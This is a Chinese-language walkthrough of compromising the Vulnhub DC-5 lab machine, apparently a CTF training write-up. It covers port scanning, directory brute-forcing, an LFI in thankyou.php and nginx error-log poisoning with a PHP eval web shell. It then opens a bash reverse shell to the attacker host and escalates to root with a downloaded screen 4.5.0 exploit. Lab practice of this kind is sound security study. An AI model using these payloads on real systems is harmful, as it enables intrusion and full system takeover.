Vulnhub靶机：DC5

一、介绍

运行环境：Virtualbox

攻击机：kali（10.0.2.15）

靶机：DC5（10.0.2.58）

目标：获取靶机root权限和flag

靶机下载地址：https://download.vulnhub.com/dc/DC-5.zip

二、信息收集

使用nmap主机发现靶机ip：10.0.2.58

使用nmap端口扫描发现靶机开放端口：80、111、40315

nmap -A 10.0.2.58 -p 1-65535

打开网站未发现可利用的功能点，查看源码也没有发现隐藏信息

使用gobuster和dirsearch工具爆破目录

gobuster dir -u http://10.0.2.58/ -x txt,php,html,bak --wordlist /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt

dirsearch -u http://10.0.2.58

网站没有什么可利用的功能点，可以尝试对每一个爆破出来的php文件进行模糊性测试，看看也没有LFI。

发现thankyou.php文件存在文件包含漏洞

wfuzz -w /usr/share/wordlists/wfuzz/general/common.txt http://10.0.2.58/thankyou.php?FUZZ=/etc/passwd

三、漏洞利用

根据nmap的扫描结果，靶机使用nginx搭建网站，可以尝试包含nginx的配置文件。

http://10.0.2.58/thankyou.php?file=/etc/nginx/nginx.conf

配置文件中获得了nginx错误日志的路径和访问日志路径

access_log /var/log/nginx/access.log;
error_log /var/log/nginx/error.log;

直接包含nginx错误日志和访问日志，看看

发现错误日志包含成功，访问日志包含失败。那么我们可以利用错误日志来构造合法的php代码，从而利用包含漏洞

构造错误请求，写入错误日志，注意直接使用浏览器写入<和>会被url编码，使用蚁剑连接失败，使用burpsuite写入连接成功

http://10.0.2.58/thankyou.php?file=<?php @eval($_POST['pass']);?>

反弹shell

bash -c 'bash -i >& /dev/tcp/10.0.2.15/4444 0>&1'

获取交互式shell

python -c 'import pty; pty.spawn("/bin/bash")'

四、提权

执行命令find / -perm -u=s -type f 2>/dev/null查看一下具有SUID权限的二进制可执行文件，发现存在可以文件/bin/screen-4.5.0

使用searchsploit搜索screen v4.5.0的历史漏洞，发现存在提权漏洞

searchsploit screen 4.5.0       

将exp下载下来，通过web服务上传到靶机，执行进行提权

cd /tmp
wget http://10.0.2.15/41154.sh
chmod +x 41154.sh
./41154.sh

获取flag